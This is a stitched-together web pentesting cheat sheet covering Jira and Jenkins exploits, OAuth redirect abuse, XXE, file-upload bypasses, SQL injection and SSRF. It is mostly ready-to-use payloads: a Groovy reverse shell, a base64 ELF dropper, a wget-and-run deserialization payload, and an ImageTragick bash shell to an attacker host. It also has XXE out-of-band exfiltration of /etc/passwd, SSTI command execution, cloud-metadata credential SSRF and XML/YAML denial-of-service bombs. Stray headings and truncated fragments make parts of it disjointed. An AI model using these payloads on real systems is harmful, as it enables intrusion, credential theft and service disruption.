    #Put your XSS payload in "More than [ ] minutes ago" (15 character payload limit) or in "In range [ ] to [ ]" (No length limit, ONLY put the payload in the first box)
    #Click Update
    #Payload will run. If it doesn't run chances are you used double quotes somewhere. Only use single quotes!
    
    # jira-unauthenticated-dashboards  
    https://victomhost/rest/api/2/dashboard?maxResults=100
    
    # jira-unauth-popular-filters 
    https://victomhost/secure/ManageFilters.jspa?filter=popular&filterView=popular
    
    # https://hackerone.com/reports/197726
    https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=popular
    https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=search
    
    # https://hackerone.com/reports/139970
    https://host/secure/ConfigurePortalPages!default.jspa?view=popular
    https://host/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false
    
    #/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm
    
    # CVE-2019-3403
    # Information disclosure vulnerability
    https://jira.atlassian.com/browse/JRASERVER-69242
    #visit the URL address,you can check the user whether is exist on this host
    /rest/api/2/user/picker?query=admin
    # So the attacker can enumerate all existing users on this jira server.
    
    # CVE-2019-8442
    https://jira.atlassian.com/browse/JRASERVER-69241
    #visit the URL address,the server will leaking some server's information
    /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
    /rest/api/2/user/picker?query=admin
    /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
    
    # CVE-2017-9506
    #https://blog.csdn.net/caiqiiqi/article/details/89017806
    /plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.nl
    
    #CVE-2019-3402:[Jira]XSS in the labels gadget
    /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
    ConfigurePortalPages.jspa
    
    #CVE-2018-20824:[Jira]XSS in WallboardServlet through the cyclePeriod parameter
    /plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true
    
    #CVE-2019-3396: [Path Traversal & RCE]
    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: JIRA
    ...
    
    {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler(.)com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}
    
    #CVE-2019-11581: [SSTI]
    http://<JIRA>/secure/ContactAdministrators!default.jspa
    #Try SSTI payload in subject and/or body:
    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xyz.burp(.)net').waitFor()
    
    #CVE-2020-14178: [Project Key Enum]
    http://<JIRA>/browse.<PROJECTKEY>
    
    #CVE-2020-36289: [Username Enumeration] 
    https://<JIRA>/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin
    
    #jira-unauthenticated-dashboards:
    https://<JIRA>/rest/api/2/dashboard?maxResults=100
    
    #jira-unauth-popular-filters:
    https://<JIRA>/secure/ManageFilters.jspa?filterView=popular
    # Tools
    # dump_builds, offline_decryption & password_spraying
    # https://github.com/gquere/pwn_jenkins
    # https://github.com/Accenture/jenkins-attack-framework
    
    # URL's to check
    JENKINSIP/PROJECT//securityRealm/user/admin
    JENKINSIP/jenkins/script
    
    # Groovy RCE
    def process = "cmd /c whoami".execute();println "${process.text}";
    
    # Groovy RevShell
    String host="localhost";
    int port=8044;
    String cmd="cmd.exe";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
    ./jenkins_rce.py jenkins_ip jenkins_port payload.out
    curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
    usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                                  [-l] [-r] [-d] [-s] [-v]
                                  url [url ...]
    
    Dump all available info from Jenkins
    
    positional arguments:
      url
    
    optional arguments:
      -h, --help            show this help message and exit
      -u USER, --user USER
      -p PASSWORD, --password PASSWORD
      -o OUTPUT_DIR, --output-dir OUTPUT_DIR
      -l, --last            Dump only the last build of each job
      -r, --recover_from_failure
                            Recover from server failure, skip all existing
                            directories
      -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
      -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                            each request (for legacy)
      -v, --verbose         Debug mode
    grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
    Usage:
        jenkins_offline_decrypt.py <jenkins_base_path>
    or:
        jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
    or:
        jenkins_offline_decrypt.py -i <path> (interactive mode)
    println(hudson.util.Secret.decrypt("{...}"))
    def proc = "id".execute();
    def os = new StringBuffer();
    proc.waitForProcessOutput(os, System.err);
    println(os.toString());
    def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
    String host="myip";
    int port=1234;
    String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    python -c 'import pty; pty.spawn("/bin/bash")'
    ^Z bg
    stty -a
    echo $TERM
    stty raw -echo
    fg
    export TERM=...
    stty rows xx columns yy
    OAuth resources

    OAuth scheme

    Code grant flow

    OAuth Attack mindmap

    <?xml version="1.0"?>
    <!DOCTYPE a [<!ENTITY test "THIS IS A STRING!">]>
    <methodCall><methodName>&test;</methodName></methodCall>

    File upload

    Cheatsheet

    upload.random123		---	To test if random file extensions can be uploaded.
    upload.php			---	try to upload a simple php file.
    upload.php.jpeg 		--- 	To bypass the blacklist.
    upload.jpg.php 			---	To bypass the blacklist. 
    upload.php 			---	and Then Change the content type of the file to image or jpeg.
    upload.php*			---	version - 1 2 3 4 5 6 7.
    upload.PHP			---	To bypass The BlackList.
    upload.PhP			---	To bypass The BlackList.
    upload.pHp			---	To bypass The BlackList.
    upload .htaccess 		--- 	By uploading this [jpg,png] files can be executed as php with milicious code within it.
    pixelFlood.jpg			---	To test againt the DOS.
    frameflood.gif			---	upload gif file with 10^10 Frames
    Malicious zTXT  		--- 	upload UBER.jpg 
    Upload zip file			---	test againts Zip slip (only when file upload supports zip file)
    Check Overwrite Issue		--- 	Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file
    SVG to XSS			---	Check if you can upload SVG files and can turn them to cause XSS on the target app
    SQLi Via File upload		---	Try uploading `sleep(10)-- -.jpg` as file
    https://www.crummie5.club/the-lone-sharepoint/www.crummie5.club
    JWTAuditor - Advanced JWT Security Testing ToolJWTAuditor
    Testing Two-Factor Authenticationwww.nccgroup.com
    NoSQL Injection: Advanced Exploitation GuideIntigriti
    # OAuth 2.0
    https://oauth.net/2/
    https://oauth.net/2/grant-types/authorization-code/
    
    Flow:
    
    1. MyWeb tried integrate with Twitter.
    2. MyWeb request to Twitter if you authorize.
    3. Prompt with a consent.
    4. Once accepted Twitter send request redirect_uri with code and state.
    5. MyWeb take code and it's own client_id and client_secret and ask server for access_token.
    6. MyWeb call Twitter API with access_token.
    
    Definitions:
    
    - resource owner: The resource owner is the user/entity granting access to their protected resource, such as their Twitter account Tweets
    - resource server: The resource server is the server handling authenticated requests after the application has obtained an access token on behalf of the resource owner . In the above example, this would be https://twitter.com
    - client application: The client application is the application requesting authorization from the resource owner. In this example, this would be https://yourtweetreader.com.
    - authorization server: The authorization server is the server issuing access tokens to the client application after successfully authenticating the resource owner and obtaining authorization. In the above example, this would be https://twitter.com
    - client_id: The client_id is the identifier for the application. This is a public, non-secret unique identifier.
    - client_secret: The client_secret is a secret known only to the application and the authorization server. This is used to generate access_tokens
    - response_type: The response_type is a value to detail which type of token is being requested, such as code
    - scope: The scope is the requested level of access the client application is requesting from the resource owner
    - redirect_uri: The redirect_uri  is the URL the user is redirected to after the authorization is  complete. This usually must match the redirect URL that you have  previously registered with the service
    - state: The state  parameter can persist data between the user being directed to the  authorization server and back again. It’s important that this is a  unique value as it serves as a CSRF protection mechanism if it contains a  unique or random value per request
    - grant_type: The grant_type parameter explains what the grant type is, and which token is going to be returned
    - code: This code is the authorization code received from the authorization server which will be in the query string parameter “code” in this request. This code is used in conjunction with the client_id and client_secret by the client application to fetch an access_token
    - access_token: The access_token is the token that the client application uses to make API requests on behalf of a resource owner
    - refresh_token: The refresh_token allows an application to obtain a new access_token without prompting the user
    # Weak redirect_uri
    1. Alter the redirect_uri URL with TLD aws.console.amazon.com/myservice -> aws.console.amazon.com
    2. Finish OAuth flow and check if you're redirected to the TLD, then is vulnerable
    3. Check your redirect is not to Referer header or other param
    
    https://yourtweetreader.com/callback?redirectUrl=https://evil.com
    https://www.target01.com/api/OAUTH/?next=https://www.target01.com//evil.com/
    https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.evil.com
    https://www.target01.com/api/OAUTH/?next=https://www.target01.com%252e.evil.com
    https://www.target01.com/api/OAUTH/?next=https://www.target01.com/project/team
    http://target02.com/oauth?redirect_uri=https://evil.com[.target02.com/
    https://www.target01.com/api/OAUTH/?next=https://yourtweetreader.com.evil.com
    https://www.target.com/endpoint?u=https://EVILtwitter.com/
    
    ffuf -w words.txt -u https://www.target.com/endpoint?u=https://www.FUZZ.com/ 
    
    # Path traversal: https://yourtweetreader.com/callback/../redirect?url=https://evil.com
    
    # HTML Injection and stealing tokens via referer header
    Check referer header in the requests for sensitive info
       
    # Access Token Stored in Browser History
    Check browser history for sensitive info
    
    # Improper handling of state parameter
    Check lack of state parameter and is in url params and is passed to all the flow
    Verifying State entropy
    Check state is not reused
    Remove state and URI and check request is invalid
    
    # Access Token Stored in JavaScript
    
    # Lack of verification
    If not email verification is needed in account creation, register before the victim.
    If not email verification in Oauth signing, register other app before the victim.
    
    # Access token passed in request body
    If the access token is passed in the request body at the time of allocating the access token to the web application there arises an attack scenario. 
    An attacker can create a web application and register for an Oauth framework with a provider such as twitter or facebook. The attacker uses it as a malicious app for gaining access tokens. 
    For example, a Hacker can build his own facebook app and get victim’s facebook access token and use that access token to login into victim account.
    
    # Reusability of an Oauth access token
    Replace the new Oauth access token with the old one and continue to the application. This should not be the case and is considered as a very bad practice.
    https://owasp.org/www-pdf-archive/20151215-Top_X_OAuth_2_Hacks-asanso.pdf
    https://medium.com/@lokeshdlk77/stealing-facebook-mailchimp-application-oauth-2-0-access-token-3af51f89f5b0
    https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
    https://gauravnarwani.com/misconfigured-oauth-to-account-takeover/
    https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a
    https://medium.com/@logicbomb_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56
    https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567
    https://hackerone.com/reports/49759
    https://hackerone.com/reports/131202
    https://hackerone.com/reports/6017
    https://hackerone.com/reports/7900
    https://hackerone.com/reports/244958
    https://hackerone.com/reports/405100
    https://ysamm.com/?p=379
    https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
    https://medium.com/@godofdarkness.msf/mail-ru-ext-b-scope-account-takeover-1500-abdb1560e5f9
    https://medium.com/@tristanfarkas/finding-a-security-bug-in-discord-and-what-it-taught-me-516cda561295
    https://medium.com/@0xgaurang/case-study-oauth-misconfiguration-leads-to-account-takeover-d3621fe8308b
    https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74
    http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html
    http://blog.intothesymmetry.com/2015/04/open-redirect-in-rfc6749-aka-oauth-20.html
    https://www.veracode.com/blog/research/spring-social-core-vulnerability-disclosure
    https://medium.com/@apkash8/oauth-and-security-7fddce2e1dc5
    https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893
    <?xml version="1.0"?>
    <!DOCTYPE a[<!ENTITY test SYSTEM "file:///etc/passwd">]>
    <methodCall><methodName>&test;</methodName></methodCall>
    # https://github.com/BuffaloWill/oxml_xxe
    # https://github.com/enjoiz/XXEinjector
    # Get PHP file:
    <?xml version="1.0"?>
    <!DOCTYPE a [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
    <methodCall><methodName>&test;</methodName></methodCall>
    
    # Classic XXE Base64 encoded
    <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
    
    # Check if entities are enabled
    <!DOCTYPE replace [<!ENTITY test "pentest"> ]>
     <root>
      <xxe>&test;</xxe>
     </root>
    
    # XXE LFI:
    <!DOCTYPE foo [  
    <!ELEMENT foo (#ANY)>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
    
    # XXE Blind LFI:
    <!DOCTYPE foo [
    <!ELEMENT foo (#ANY)>
    <!ENTITY % xxe SYSTEM "file:///etc/passwd">
    <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
    
    # XXE Access control bypass
    <!DOCTYPE foo [
    <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
    <foo><result>&ac;</result></foo>
    
    # XXE to SSRF:
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
    
    # XXE OOB
    <?xml version="1.0"?>
    <!DOCTYPE data [ 
     <!ENTITY % file SYSTEM "file:///etc/passwd">
     <!ENTITY % dtd SYSTEM "http://your.host/remote.dtd"> 
    %dtd;]>
    <data>&send;</data>
    
    # PHP Wrapper inside XXE
    <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
    <contacts>
      <contact>
        <name>Jean &xxe; Dupont</name>
        <phone>00 11 22 33 44</phone>
        <adress>42 rue du CTF</adress>
        <zipcode>75000</zipcode>
        <city>Paris</city>
      </contact>
    </contacts>
    
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
    ]>
    <foo>&xxe;</foo>
    
    # Deny Of Service - Billion Laugh Attack
    
    <!DOCTYPE data [
    <!ENTITY a0 "dos" >
    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
    ]>
    <data>&a4;</data>
    
    # Yaml attack
    
    a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
    b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
    c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
    d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
    e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
    f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
    g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
    h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
    i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
    
    # XXE OOB Attack (Yunusov, 2013)
    
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
    <data>&send;</data>
    
    File stored on http://publicServer.com/parameterEntity_oob.dtd
    <!ENTITY % file SYSTEM "file:///sys/power/image_size">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
    %all;
    
    # XXE OOB with DTD and PHP filter
    
    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://92.222.81.2/dtd.xml">
    %sp;
    %param1;
    ]>
    <r>&exfil;</r>
    
    File stored on http://92.222.81.2/dtd.xml
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://92.222.81.2/dtd.xml?%data;'>">
    
    # XXE Inside SOAP
    
    <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
    
    # XXE PoC
    
    <!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
    <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [ <!ENTITY xxe_test SYSTEM "file:///etc/passwd"> ]><x>&xxe_test;</x>
    <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe_test [<!ELEMENT foo ANY><!ENTITY xxe_test SYSTEM "file:///etc/passwd">]><foo>&xxe_test;</foo>
    
    # XXE file upload SVG
    <svg>&xxe;</svg>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
        <image xlink:href="expect://ls"></image>
    </svg>
    
    <?xml version="1.0" encdoing="UTF-8" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="14" x="0" y="16">&xxe;</text></svg>  
    
    # XXE Hidden Attack
    
    - Xinclude
    
    Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite.
    Set the value of the productId parameter to:
    <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
    
    - File uploads:
    
    Create a local SVG image with the following content:
    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
    Post a comment on a blog post, and upload this image as an avatar.
    When you view your comment, you should see the contents of the /etc/hostname file in your image. Then use the "Submit solution" but
    # File name validation
        # extension blacklisted:
        PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
        ASP: .asp, .aspx, .cer, .asa
        Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
        Coldfusion: .cfm, .cfml, .cfc, .dbm
        Using random capitalization: .pHp, .pHP5, .PhAr
    
        pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc
        # extension whitelisted:
        file.jpg.php
        file.php.jpg
        file.php.blah123jpg
        file.php%00.jpg
        file.php\x00.jpg
        file.php%00
        file.php%20
        file.php%0d%0a.jpg
        file.php.....
        file.php/
        file.php.\
        file.
        .html
    # Content type bypass
        - Preserve name, but change content-type
        Content-Type: image/jpeg, image/gif, image/png
    # Content length:
        # Small bad code:
        <?='$_GET[x]'?>
        
    # Impact by extension
    asp, aspx, php5, php, php3: webshell, rce
    svg: stored xss, ssrf, xxe
    gif: stored xss, ssrf
    csv: csv injection
    xml: xxe
    avi: lfi, ssrf
    html, js: html injection, xss, open redirect
    png, jpeg: pixel flood attack dos
    zip: rce via lfi, dos
    pdf, pptx: ssrf, blind xxe
    
    # Path traversal
    ../../etc/passwd/logo.png
    ../../../logo.png
    
    # SQLi
    'sleep(10).jpg
    sleep(10)-- -.jpg
    
    # Command injection
    ; sleep 10;
    
    # ImageTragick
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
    pop graphic-context
    
    
    # XXE .svg
    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
    <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1
    <text font-size="40" x="0" y="16">&xxe;</text>
    </svg>
    
    
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
    </svg>
    
    
    # XSS svg
    <svg onload=alert(document.comain)>.svg
    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    File Upload Checklist 3
    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
    alert("HolyBugx XSS");
    </script>
    </svg>
    
    
    # Open redirect svg
    <code>
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <svg
    onload="window.location='https://attacker.com'"
    xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    </svg>
    </code>
    
        
    # Filter Bypassing Techniques
    # upload asp file using .cer & .asa extension (IIS — Windows)
    # Upload .eml file when content-type = text/HTML
    # Inject null byte shell.php%001.jpg
    # Check for .svg file upload you can achieve stored XSS using XML payload
    # put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file
    # Upload large size file for DoS attack test using the image.
    # (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job!
    # If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command
    # upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB.
    
    # Advance Bypassing techniques
    # Imagetragick aka ImageMagick:
    https://mukarramkhalid.com/imagemagick-imagetragick-exploit/
    https://github.com/neex/gifoeb
        
    # Upload file tool
    https://github.com/almandin/fuxploider
    python3 fuxploider.py --url https://example.com --not-regex "wrong file type"
    
    https://github.com/sAjibuu/upload_bypass
    Logo
    Logo
    Logo

    SQLi

    Common

    Polyglot

    Resources by type

    R/W files

    Blind SQLi

    Second Order SQLi

    sqlmap

    Adobe CQ Pentesting Guide – Part 1 | Infosecwww.infosecinstitute.com

    SSRF

    Tools

    Summary

    GCP

    GCP

    General

    Securitum - Security penetration testing.research.securitum.com
    /?q=1
    /?q=1'
    /?q=1"
    /?q=[1]
    /?q[]=1
    /?q=1`
    /?q=1\
    /?q=1/*'*/
    /?q=1/*!1111'*/
    /?q=1'||'asd'||'   <== concat string
    /?q=1' or '1'='1
    /?q=1 or 1=1
    /?q='or''='
    /?q=(1)or(0)=(1)
    
    # Useful payloads
    ' WAITFOR DELAY '0:0:5'--
    ';WAITFOR DELAY '0:0:5'-- 
    ')) or sleep(5)='
    ;waitfor delay '0:0:5'--
    );waitfor delay '0:0:5'--
    ';waitfor delay '0:0:5'--
    ";waitfor delay '0:0:5'--
    ');waitfor delay '0:0:5'--
    ");waitfor delay '0:0:5'--
    ));waitfor delay '0:0:5'--
    ', ",'),"), (),., * /, <! -, -
    SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
    IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
    Logo

    Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.

    SSRF Attacks

    SSRF Bypasses

    PDF SSRF

    Mindmap

    # Web requesting other ip or ports like 127.0.0.1:8080 or 192.168.0.1
    chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
    GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
    Enumeration

    Attacks

    Tools

    https://github.com/prowler-cloud/prowler

    prowler gcp

    check for the most important checks in terms of severity

    prowler gcp --severity critical high

    Web application firewalls bypasses collection and testing tools – How to test, evaluate, compare, and bypass web application and API security solutions like WAF, NGWAF, RASP, and WAAPwaf-bypass.com
    Logo

    CSRF

    Summary

    Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.

    3 conditions:

    Public info gathering

    OSINT resources

    OSINT websites

    # https://github.com/tarunkant/Gopherus
    gopherus --exploit [PLATFORM]
    # https://github.com/daeken/SSRFTest
    # https://github.com/jmdx/TLS-poison/
    # https://github.com/m4ll0k/Bug-Bounty-Toolz
    # https://github.com/cujanovic/SSRF-Testing
    # https://github.com/bcoles/ssrf_proxy
    
    gau domain.com | python3 ssrf.py collab.listener.com
    
    # https://github.com/micha3lb3n/SSRFire
    ./ssrfire.sh -d domain.com -s yourserver.com -f /path/to/copied_raw_urls.txt
    
    # SSRF Redirect Payload generator
    # https://tools.intigriti.io/redirector/
    # Check if you're able to enum IP or ports
    127.0.0.1
    127.0.1
    127.1
    127.000.000.001
    2130706433
    0x7F.0x00.0x00.0x01
    0x7F.1
    0x7F000001
    
    # Quick URL based bypasses:
    http://google.com:80+&@127.88.23.245:22/#[email protected]:80/
    http://127.88.23.245:22/+&@google.com:80#[email protected]:80/
    http://google.com:80+&@google.com:80#[email protected]:22/
    http://127.88.23.245:22/[email protected]:80/
    http://127.88.23.245:22/#@www.google.com:80/
    
    # 301 responses:
    https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
    https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg
    https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg
    https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg
    
    # 301 json:
    https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json
    https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json
    https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json
    https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json
    
    # 301 csv:
    https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv
    https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv
    https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv
    https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv
    
    # 301 xml:
    https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml
    https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml
    https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml
    https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml
    
    # 301 pdf:
    https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf
    https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf
